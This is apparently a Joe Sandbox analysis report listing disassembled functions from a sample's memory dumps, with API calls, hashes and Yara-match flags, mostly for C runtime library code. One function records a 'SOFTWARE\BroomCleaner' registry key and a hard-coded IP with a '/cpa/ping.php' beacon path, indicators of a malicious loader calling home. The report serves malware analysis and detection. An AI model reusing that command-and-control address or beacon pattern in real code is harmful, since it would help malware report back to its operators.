
Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: std::_$Locinfo::_LockitYarn$Exception@8H_prologLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 835844855-1405518554
Opcode ID: 63e05c14b460d685efbaffe237daf51259fe89ad88eb658e1c08f97622123781
Instruction ID: 0603089b66b0b819d6eff5d75331a99d5985645afad82bc6fef42f715fc6e5ae
Opcode Fuzzy Hash: 63e05c14b460d685efbaffe237daf51259fe89ad88eb658e1c08f97622123781
Instruction Fuzzy Hash: E0319131904B40DEC7319F6AD941A5BFBF0BF08710B508A7FE05AA3A91C738B904CB59

Uniqueness

Uniqueness Score: -1.00%

Function 040E1417 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 040E141C
std::_Lockit::_Lockit.LIBCPMT ref: 040E142E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 040E146B

Part of subcall function 040E80E1: _Yarn.LIBCPMT ref: 040E8100
Part of subcall function 040E80E1: _Yarn.LIBCPMT ref: 040E8124

std::bad_exception::bad_exception.LIBCMT ref: 040E148C
__CxxThrowException@8.LIBVCRUNTIME ref: 040E149A
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 040E14BD
std::_Lockit::~_Lockit.LIBCPMT ref: 040E152E

Strings

n~B, xrefs: 040E1417

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_LockitYarn$Exception@8H_prologLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::bad_exception::bad_exception
String ID: n~B
API String ID: 835844855-2489732092
Opcode ID: 64c16167f489f4d77b397d7091ed6621fbd9ca3405d2a72e65d09ca87552aa99
Instruction ID: 0efa4de778e25be3e0911e04bcd21331ce65c4cbae8ab5fa7308dbd5495f9621
Opcode Fuzzy Hash: 64c16167f489f4d77b397d7091ed6621fbd9ca3405d2a72e65d09ca87552aa99
Instruction Fuzzy Hash: 0C316072904B00DFDB31AF2AD8406AAFBF4FF48714B108A2FE09AA3A50C774B515CB55

Uniqueness

Uniqueness Score: -1.00%

Function 040F9514 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1502d6197d2a0b4b305fcae2024c2ce003ecf790107f78a60311c4aa9610d50
Instruction ID: 59a6f41df6d442e38b1b880f83f8146fed99ae92c64aa800aeaaa2ace0cafab7
Opcode Fuzzy Hash: f1502d6197d2a0b4b305fcae2024c2ce003ecf790107f78a60311c4aa9610d50
Instruction Fuzzy Hash: 75C191B4A04349AFEF119FA8CC80BEDBBF4AF09314F4841A9DA41B7691C735B941CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00414A4A Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

_memcmp.LIBVCRUNTIME ref: 00414CF4
_free.LIBCMT ref: 00414D65
_free.LIBCMT ref: 00414D7E
_free.LIBCMT ref: 00414DB0
_free.LIBCMT ref: 00414DB9
_free.LIBCMT ref: 00414DC5

Strings

C, xrefs: 00414BB2

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 7e71f2d33127e387c4eb275e1e94b73233820b07264d83e7bcb68b4e40763af9
Instruction ID: f1eb2fe4340e97ed79650f57c8a8747809c023f352878a21904a4d61aa040acb
Opcode Fuzzy Hash: 7e71f2d33127e387c4eb275e1e94b73233820b07264d83e7bcb68b4e40763af9
Instruction Fuzzy Hash: B7B12975A012199BDB24DF18D884BEEB7B4FF88304F5045AAE849A7350E735AED1CF48

Uniqueness

Uniqueness Score: -1.00%

Function 040F4CB1 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

_memcmp.LIBVCRUNTIME ref: 040F4F5B
_free.LIBCMT ref: 040F4FCC
_free.LIBCMT ref: 040F4FE5
_free.LIBCMT ref: 040F5017
_free.LIBCMT ref: 040F5020
_free.LIBCMT ref: 040F502C

Strings

C, xrefs: 040F4E19

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 9b16aedfb5baf543daea88db484a92fdf6a02e4de3db43e444a407e1a811cd79
Instruction ID: 2f2ce3d7451c3bacda996477ded7ce8b8efba37dbaa49a6493e3d67bdd426ea9
Opcode Fuzzy Hash: 9b16aedfb5baf543daea88db484a92fdf6a02e4de3db43e444a407e1a811cd79
Instruction Fuzzy Hash: 12B13975A012199FEB64DF18CC84AAEB7B4FF58308F1045AADA49A7750E731BE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 004145CC Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00417A45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B3A4,00000000,?,00410DD1,?,00000008,?,0041197C,?,?,?), ref: 00417A77

_free.LIBCMT ref: 004146D7
_free.LIBCMT ref: 004146EE
_free.LIBCMT ref: 0041470D
_free.LIBCMT ref: 00414728
_free.LIBCMT ref: 0041473F

Strings

|B, xrefs: 004146B1
B, xrefs: 0041461F

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$AllocateHeap
String ID: B$|B
API String ID: 3033488037-200315465
Opcode ID: 0551716ea73a6ef0ea3937d8a9b0131bc722ba02b4a1552fb15e10019e7b872c
Instruction ID: bceed09af247e51911f2c06e24e965b8c83290834e1de00ea3c3fe4b0a612a45
Opcode Fuzzy Hash: 0551716ea73a6ef0ea3937d8a9b0131bc722ba02b4a1552fb15e10019e7b872c
Instruction Fuzzy Hash: F351E631A00304AFDB20DF66D841BAA77F4EF99728F14056EE849DB690E739DD81CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0041673F Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0040F850,0040F850,?,?,?,00416990,00000001,00000001,F5E85006), ref: 00416799
__alloca_probe_16.LIBCMT ref: 004167D1
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00416990,00000001,00000001,F5E85006,?,?,?), ref: 0041681F
__alloca_probe_16.LIBCMT ref: 004168B6
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,F5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00416919
__freea.LIBCMT ref: 00416926

Part of subcall function 00417A45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B3A4,00000000,?,00410DD1,?,00000008,?,0041197C,?,?,?), ref: 00417A77

__freea.LIBCMT ref: 0041692F
__freea.LIBCMT ref: 00416954

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: 6d456281acf0619f27023182ced17daa6554775fa394724c4215adca619d4e4e
Instruction ID: 945c2db0b5faf58cb0d9801c543b0b3226d139e5166d8e9d93898d86eb794442
Opcode Fuzzy Hash: 6d456281acf0619f27023182ced17daa6554775fa394724c4215adca619d4e4e
Instruction Fuzzy Hash: 2B51E6B2610216ABDB259F65CC41EFF7BA9EF44754F16462EFC04D6280DB38DC90C668

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDD7 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041EE46
_free.LIBCMT ref: 0041EE54
_free.LIBCMT ref: 0041EF82
_free.LIBCMT ref: 0041EF8D

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5e932ea9069c118bb961e6d76857f0c9b8f4ba2cd0390af678983e5fd13f1dd1
Instruction ID: e986a1f43705154f11102f288933750ce46d6c5c7240a2201f23140d39e68ccb
Opcode Fuzzy Hash: 5e932ea9069c118bb961e6d76857f0c9b8f4ba2cd0390af678983e5fd13f1dd1
Instruction Fuzzy Hash: 6761A076904305AFDB20DF66C842BDABBF4EF48710F1441ABEC44EB281D7749D828B98

Uniqueness

Uniqueness Score: -1.00%

Function 040FF03E Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 040FF0AD
_free.LIBCMT ref: 040FF0BB
_free.LIBCMT ref: 040FF1E9
_free.LIBCMT ref: 040FF1F4

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: b86ba08727650023ed19c92e77eeb825199b3895615cbf632ae48cc155c5a0ec
Instruction ID: 094fcf14a1fdb7be9fdb57ccbc945553b36c6cddf14720dd54d6ddf6579b627c
Opcode Fuzzy Hash: b86ba08727650023ed19c92e77eeb825199b3895615cbf632ae48cc155c5a0ec
Instruction Fuzzy Hash: A061D271940206AFEB60DFA8CC40B9EBBF5FB84714F14457ADA44FB641EB71B9418B90

Uniqueness

Uniqueness Score: -1.00%

Function 040F4833 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F7CAC: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 040F7CDE

_free.LIBCMT ref: 040F493E
_free.LIBCMT ref: 040F4955
_free.LIBCMT ref: 040F4974
_free.LIBCMT ref: 040F498F
_free.LIBCMT ref: 040F49A6

Strings

B, xrefs: 040F4886

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID: B
API String ID: 3033488037-2386870291
Opcode ID: e2765243d4b407044065e09a93470513da81931724dfe5683d741b61e3df85b4
Instruction ID: b1c7368ba84e644ec9828de36d78043ec7dc3670bb1f4cf28166ba72363415d4
Opcode Fuzzy Hash: e2765243d4b407044065e09a93470513da81931724dfe5683d741b61e3df85b4
Instruction Fuzzy Hash: 3751C131A00205AFEB60DF69DC40AAB77F4EF64728B540579EE49EBA50E735F9018B81

Uniqueness

Uniqueness Score: -1.00%

Function 00415A13 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,00416188,?,?,?,?,?,?), ref: 00415A55
__fassign.LIBCMT ref: 00415AD0
__fassign.LIBCMT ref: 00415AEB
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 00415B11
WriteFile.KERNEL32(?,?,00000000,00416188,00000000,?,?,?,?,?,?,?,?,?,00416188,?), ref: 00415B30
WriteFile.KERNEL32(?,?,00000001,00416188,00000000,?,?,?,?,?,?,?,?,?,00416188,?), ref: 00415B69

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 33e6fd75adb2b88f79627ef58a13688fd909e2cfbbaa5c9d8ec04a3e685d9078
Instruction ID: 93abb8da7f4b1ee22325e29d014a78f54aaad6af2ae94e442d530b7aeff6bc03
Opcode Fuzzy Hash: 33e6fd75adb2b88f79627ef58a13688fd909e2cfbbaa5c9d8ec04a3e685d9078
Instruction Fuzzy Hash: 7851E6B0A04609DFDB10CFA8D881BEEBBF4EF49310F14416BE955E7251D774A981CB68

Uniqueness

Uniqueness Score: -1.00%

Function 040F5C7A Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,040F63EF,?,?,?,?,?,?), ref: 040F5CBC
__fassign.LIBCMT ref: 040F5D37
__fassign.LIBCMT ref: 040F5D52
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 040F5D78
WriteFile.KERNEL32(?,?,00000000,040F63EF,00000000,?,?,?,?,?,?,?,?,?,040F63EF,?), ref: 040F5D97
WriteFile.KERNEL32(?,?,00000001,040F63EF,00000000,?,?,?,?,?,?,?,?,?,040F63EF,?), ref: 040F5DD0

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 4f4f63612dd6758aa9e7fecd2cbe65b3dc713529ec1a556737616ebe55c1ece4
Instruction ID: a0a05817750ac578bcfe6ad951d1e66a126390b6116ad8c59309a367684ca7b0
Opcode Fuzzy Hash: 4f4f63612dd6758aa9e7fecd2cbe65b3dc713529ec1a556737616ebe55c1ece4
Instruction Fuzzy Hash: 6051C670A00249AFDB14CFA8DC85BEEBBF8EF09310F14416AE655F7251E730A951CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040A6FB
___except_validate_context_record.LIBVCRUNTIME ref: 0040A703
_ValidateLocalCookies.LIBCMT ref: 0040A791
__IsNonwritableInCurrentImage.LIBCMT ref: 0040A7BC
_ValidateLocalCookies.LIBCMT ref: 0040A811

Strings

csm, xrefs: 0040A7A6

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9c4d965ac64c68ad1acf27fcd63e115faa6e970b3dad7dcbeead64b99ae0827c
Instruction ID: 23505c37bb0df54e9d772fc2403dd448dd449399a7c5e18b9979e78af1eb181c
Opcode Fuzzy Hash: 9c4d965ac64c68ad1acf27fcd63e115faa6e970b3dad7dcbeead64b99ae0827c
Instruction Fuzzy Hash: B7415274E003089BCB10DF69C884A9EBBB5AF45318F14C17BE8156B3D2D739D925CB96

Uniqueness

Uniqueness Score: -1.00%

Function 041063C1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 041063C6
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\BroomCleaner,00000000,00000000,00000000,000F003F,00000000,?,00000000,Installed,0043BED8,SOFTWARE\BroomCleaner), ref: 041063EE
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?,0043BED8,0043BED9,Installed,Installed), ref: 04106471
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,185.172.128.90,/cpa/ping.php?substr=%s&s=ab&sub=%s,?), ref: 04106492

Strings

SOFTWARE\BroomCleaner, xrefs: 041063CE, 041063E1
Installed, xrefs: 041063D0, 041063FE, 0410641D, 0410641E

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: CloseCreateH_prologValue
String ID: Installed$SOFTWARE\BroomCleaner
API String ID: 1996196666-529226407
Opcode ID: 0b1f03838103bc79192dd29aecd11cdb4eee571ac517255c8300f4294fb95730
Instruction ID: 999b3145a61a8d097921caaa6d72a70f49ff11deecad8f2f4c558c5b95e1d13b
Opcode Fuzzy Hash: 0b1f03838103bc79192dd29aecd11cdb4eee571ac517255c8300f4294fb95730
Instruction Fuzzy Hash: 10316971A00229EEDF159FA8CC90AFEBB79FB49218F04416DE502B7291C7B12D05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004227A8 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ada43cddaa793191611bc99ca2e9e8f2b927b510fc63ccdaad96e19ac5d437
Instruction ID: e24961ea6169977100e6de332b8cae97d730c3ba4f888c233ff9c32580c66a3b
Opcode Fuzzy Hash: 81ada43cddaa793191611bc99ca2e9e8f2b927b510fc63ccdaad96e19ac5d437
Instruction Fuzzy Hash: 1611E7726081297BDB203F739D059AB3A6CDF92764B51062AFC15D7251DABCC84282B9

Uniqueness

Uniqueness Score: -1.00%

Function 0041F2AC Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041EFF3: _free.LIBCMT ref: 0041F01C

_free.LIBCMT ref: 0041F2FA

Part of subcall function 0041629A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?), ref: 004162B0
Part of subcall function 0041629A: GetLastError.KERNEL32(?,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?,?), ref: 004162C2

_free.LIBCMT ref: 0041F305
_free.LIBCMT ref: 0041F310
_free.LIBCMT ref: 0041F364
_free.LIBCMT ref: 0041F36F
_free.LIBCMT ref: 0041F37A
_free.LIBCMT ref: 0041F385

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 501a0837026fe0814ab2d6a77f43a53b196c1575d4fb2c1b0167c2d280276289
Instruction ID: be7813cec9e76b844f682d4c097dbd82c10abeb52ecb146189267b1763b940f2
Opcode Fuzzy Hash: 501a0837026fe0814ab2d6a77f43a53b196c1575d4fb2c1b0167c2d280276289
Instruction Fuzzy Hash: 1F114272541B24B6D920BB72DC07FCBB7DCBF44708F40081EBE9E66052DA7DB5868654

Uniqueness

Uniqueness Score: -1.00%

Function 00404189 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040418E
std::_Lockit::_Lockit.LIBCPMT ref: 0040419D
int.LIBCPMT ref: 004041B4

Part of subcall function 00401318: std::_Lockit::_Lockit.LIBCPMT ref: 00401329
Part of subcall function 00401318: std::_Lockit::~_Lockit.LIBCPMT ref: 00401343

std::locale::_Getfacet.LIBCPMT ref: 004041BD
std::_Facet_Register.LIBCPMT ref: 004041EE
std::_Lockit::~_Lockit.LIBCPMT ref: 00404204
__CxxThrowException@8.LIBVCRUNTIME ref: 0040422A

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: e4831a17e9389af87c191ca157e46dd7d187b50277cf216024756019587e60ea
Instruction ID: eeb1616ca6cccce41a0e0e35b82109652f5c3a79b41a9d78a32d17684d72b000
Opcode Fuzzy Hash: e4831a17e9389af87c191ca157e46dd7d187b50277cf216024756019587e60ea
Instruction Fuzzy Hash: AD119072A041289BCB04EBA5DC06AEE7774EF84358F10456FF915B72D1DB389A04C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 040E43F0 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 040E43F5
std::_Lockit::_Lockit.LIBCPMT ref: 040E4404
int.LIBCPMT ref: 040E441B

Part of subcall function 040E157F: std::_Lockit::_Lockit.LIBCPMT ref: 040E1590
Part of subcall function 040E157F: std::_Lockit::~_Lockit.LIBCPMT ref: 040E15AA

std::locale::_Getfacet.LIBCPMT ref: 040E4424
std::_Facet_Register.LIBCPMT ref: 040E4455
std::_Lockit::~_Lockit.LIBCPMT ref: 040E446B
__CxxThrowException@8.LIBVCRUNTIME ref: 040E4491

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: e4831a17e9389af87c191ca157e46dd7d187b50277cf216024756019587e60ea
Instruction ID: 4a52ecc1243c2da9833c29480652ba2cc3a4bab5f751dd7b47be3364a274b51a
Opcode Fuzzy Hash: e4831a17e9389af87c191ca157e46dd7d187b50277cf216024756019587e60ea
Instruction Fuzzy Hash: D211BC72E001289FDB14EBA5D804AFEB7B4EF8431CF15455AE816B7290DB74BA11CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004033EA Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004033EF
std::_Lockit::_Lockit.LIBCPMT ref: 004033FE
int.LIBCPMT ref: 00403415

Part of subcall function 00401318: std::_Lockit::_Lockit.LIBCPMT ref: 00401329
Part of subcall function 00401318: std::_Lockit::~_Lockit.LIBCPMT ref: 00401343

std::locale::_Getfacet.LIBCPMT ref: 0040341E
std::_Facet_Register.LIBCPMT ref: 0040344F
std::_Lockit::~_Lockit.LIBCPMT ref: 00403465
__CxxThrowException@8.LIBVCRUNTIME ref: 0040348B

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: d912247cf65187564cb857c5a435760ff66a759f63cb392730071c1b62a8ae47
Instruction ID: cdc69c2a9e90ba919e1258be772e803faed7ee3eebec81448dba6679bc4cf361
Opcode Fuzzy Hash: d912247cf65187564cb857c5a435760ff66a759f63cb392730071c1b62a8ae47
Instruction Fuzzy Hash: 8E11BF329001289BCB05EFA4C815AEE7B78EF84319F10452EE911BB2D1DB789A04CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004035F5 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004035FA
std::_Lockit::_Lockit.LIBCPMT ref: 00403609
int.LIBCPMT ref: 00403620

Part of subcall function 00401318: std::_Lockit::_Lockit.LIBCPMT ref: 00401329
Part of subcall function 00401318: std::_Lockit::~_Lockit.LIBCPMT ref: 00401343

std::locale::_Getfacet.LIBCPMT ref: 00403629
std::_Facet_Register.LIBCPMT ref: 0040365A
std::_Lockit::~_Lockit.LIBCPMT ref: 00403670
__CxxThrowException@8.LIBVCRUNTIME ref: 00403696

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: 01699667aa2a77937d9adaa910a4886983fe4db3813f95f217182bdb03a19c45
Instruction ID: 76a64bb1f13388b8652502aa8a079a3a0bf37f657045f8e793a704159d5c315e
Opcode Fuzzy Hash: 01699667aa2a77937d9adaa910a4886983fe4db3813f95f217182bdb03a19c45
Instruction Fuzzy Hash: FA119032900124ABCB14EF65C805AEE7B74AF48319F10456FE911B73D1DB389A04C799

Uniqueness

Uniqueness Score: -1.00%

Function 040E3651 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 040E3656
std::_Lockit::_Lockit.LIBCPMT ref: 040E3665
int.LIBCPMT ref: 040E367C

Part of subcall function 040E157F: std::_Lockit::_Lockit.LIBCPMT ref: 040E1590
Part of subcall function 040E157F: std::_Lockit::~_Lockit.LIBCPMT ref: 040E15AA

std::locale::_Getfacet.LIBCPMT ref: 040E3685
std::_Facet_Register.LIBCPMT ref: 040E36B6
std::_Lockit::~_Lockit.LIBCPMT ref: 040E36CC
__CxxThrowException@8.LIBVCRUNTIME ref: 040E36F2

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: d912247cf65187564cb857c5a435760ff66a759f63cb392730071c1b62a8ae47
Instruction ID: cad579c0a2d49c997a0cda1a1bce4746dd0f6afdcec38596a15fc0103157ad05
Opcode Fuzzy Hash: d912247cf65187564cb857c5a435760ff66a759f63cb392730071c1b62a8ae47
Instruction Fuzzy Hash: 07119E72A00128DFDB15EBB5C844AFEBBB5EF84318F14451AE815B7290DB74AA14CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 040E385C Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 040E3861
std::_Lockit::_Lockit.LIBCPMT ref: 040E3870
int.LIBCPMT ref: 040E3887

Part of subcall function 040E157F: std::_Lockit::_Lockit.LIBCPMT ref: 040E1590
Part of subcall function 040E157F: std::_Lockit::~_Lockit.LIBCPMT ref: 040E15AA

std::locale::_Getfacet.LIBCPMT ref: 040E3890
std::_Facet_Register.LIBCPMT ref: 040E38C1
std::_Lockit::~_Lockit.LIBCPMT ref: 040E38D7
__CxxThrowException@8.LIBVCRUNTIME ref: 040E38FD

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
